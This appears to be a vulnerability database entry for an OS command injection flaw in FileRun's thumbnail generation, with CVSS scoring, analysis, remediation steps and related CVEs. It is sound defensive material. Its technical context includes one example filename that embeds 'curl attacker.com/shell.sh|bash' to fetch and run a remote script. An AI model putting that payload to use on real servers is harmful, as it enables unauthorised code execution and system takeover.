Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Requires only a low-privilege authenticated session (PR:L) over the network (AV:N); no scope change as impact is confined to the vulnerable FileRun system (S:U).
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
2DescriptionCVE.org
FileRun up to and including version 2026.2.0 contains an OS command injection vulnerability that allows authenticated attackers to achieve remote code execution by uploading a file with a malicious filename containing shell command substitution sequences. The thumbnail generation system passes filenames wrapped in shell double-quotes directly to exec() without escapeshellarg() sanitization, allowing filenames such as $(PAYLOAD).mp4 to survive the filename sanitizer and be evaluated as shell commands when ffmpeg, ImageMagick, vips, or stl-thumb processes the file during thumbnail generation.
AnalysisAI
Remote code execution in FileRun ≤2026.2.0 is achievable by any authenticated user who can upload files, exploiting a shell command injection flaw in the thumbnail generation pipeline. The subsystem passes uploaded filenames wrapped in double-quotes directly to exec() without escapeshellarg() sanitization, meaning filenames such as $(PAYLOAD).mp4 survive the filename sanitizer and are evaluated as shell commands when ffmpeg, ImageMagick, vips, or stl-thumb processes the upload. Vendor-released patch 2026.2.1 is available; no CISA KEV listing or public exploit code has been identified at time of analysis, but the low-complexity, authenticated-only barrier makes this a high-priority patch target for any FileRun deployment.
Technical ContextAI
FileRun is a self-hosted web-based file management and sharing platform. CWE-78 (Improper Neutralization of Special Elements used in an OS Command) describes the root cause: the thumbnail generation subsystem constructs shell invocations by embedding filenames inside double-quoted strings before passing them to exec(), rather than using escapeshellarg() or equivalent sanitization. In Unix-like shells, double-quoting preserves shell command substitution sequences such as $(...) and ..., so a filename like $(curl attacker.com/shell.sh|bash).mp4 is interpreted by the shell rather than treated as a literal string. The vulnerability is triggered by one of four external thumbnail tools - ffmpeg, ImageMagick, vips, or stl-thumb - whichever is installed and invoked for the uploaded file type. The CPE cpe:2.3:a:filerun:filerun:*:*:*:*:*:*:*:* covers all FileRun versions through 2026.2.0 with no platform restriction stated.
RemediationAI
Upgrade FileRun to version 2026.2.1, the vendor-confirmed patched release per the changelog at https://filerun.com/index.php/changelog?v=2026.2.1. If immediate upgrade is not feasible, disable thumbnail generation for uploaded files to prevent the vulnerable code path from executing - note that this will degrade media preview functionality for users. As an additional compensating control, restrict file upload privileges to the minimum set of trusted accounts, reducing the pool of users who can trigger the flaw; this does not eliminate the vulnerability but narrows the attack surface. Ensure the web server process runs under a dedicated low-privilege OS user account to limit the blast radius of any successful exploit. Further technical context on the flaw is available in the VulnCheck advisory at https://www.vulncheck.com/advisories/filerun-rce-via-thumbnail-generation-command-injection.
FileRun (version 2017.09.18 and below) suffers from a remote SQL injection vulnerability due to a failure to sanitize in
OS command injection in FileRun before 2026.3.0 enables a network-accessible superuser to execute arbitrary commands on
In Afian Filerun 20220202, lack of sanitization of the POST parameter "metadata[]" in `/?module=fileman§ion=get&page
OS command injection in FileRun's PhotoProofSheet handler allows any authenticated user with upload permission to execut
SQL injection in FileRun before 2026.3.0 allows delegated or simple administrators to escalate privileges to superuser a
PHP object injection in FileRun before 2026.3.0 enables authenticated attackers with database write access to achieve re
Afian FileRun 2021.03.26 allows Remote Code Execution (by administrators) via the Check Path value for the ffmpeg binary
Afian FileRun 2021.03.26 allows Remote Code Execution (by administrators) via the Check Path value for the magick binary
Afian FileRun (before 2018.02.13) suffers from a remote SQL injection vulnerability, when logged in as superuser, via th
Afian FileRun (before 2018.02.13) suffers from a remote SQL injection vulnerability, when logged in as superuser, via th
Afian FileRun 2021.03.26 allows XSS when an administrator encounters a crafted document during use of the HTML Editor fo
Afian FileRun 2021.03.26 allows stored XSS via an HTTP X-Forwarded-For header that is mishandled when rendering Activity
Same weakness CWE-78 – OS Command Injection
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-56976
GHSA-mcfq-hmcc-5pch